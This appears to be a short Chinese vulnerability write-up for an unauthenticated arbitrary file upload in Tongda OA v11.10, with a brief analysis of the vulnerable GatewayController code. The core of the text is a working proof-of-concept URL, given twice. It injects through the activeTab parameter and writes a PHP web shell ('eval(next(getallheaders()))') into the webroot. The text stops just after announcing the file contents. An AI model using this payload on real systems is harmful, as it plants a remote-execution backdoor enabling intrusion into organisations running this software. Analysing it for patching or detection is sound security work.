通达OA 11.10 未授权任意文件上传漏洞
http://url/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/YAOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage
官网地址:
https://www.tongda2000.com/
漏洞分析
通达OA v11.10存在未授权任意文件上传漏洞
官网:
https: //www.tongda2000.com/
版本:v11.10
actionGetdata()方法存在于代码general\appbuilder\modules\portal\controllers\GatewayController.php中,其中activeTab参数可控。在 2018 行中,activeTab 参数位于 GetData 方法中。
在GetData()方法中,通过findall查询id参数,查看数组是否存在,如果查询到的id存在,则在第21行输入if语句。所以第38行的$attribute参数是可控的,导致数组关闭并通过 fwrite() 写入文件。
漏洞复现
poc
http://url/general/appbuilder/web/portal/gateway/getdata?activeTab=%e5%27,1%3d%3Efwrite(fopen(%22C:/YAOA/webroot/general/1.php%22,%22w+%22),%22%3C?php%20eval(next(getallheaders()));%22))%3b/*&id=266&module=Carouselimage
通过数组闭包用fwrite(fopen())写php文件,无参绕过全局过滤。
<? php eval(next(getallheaders()));
不带参数写入2.php文件,文件内容如下。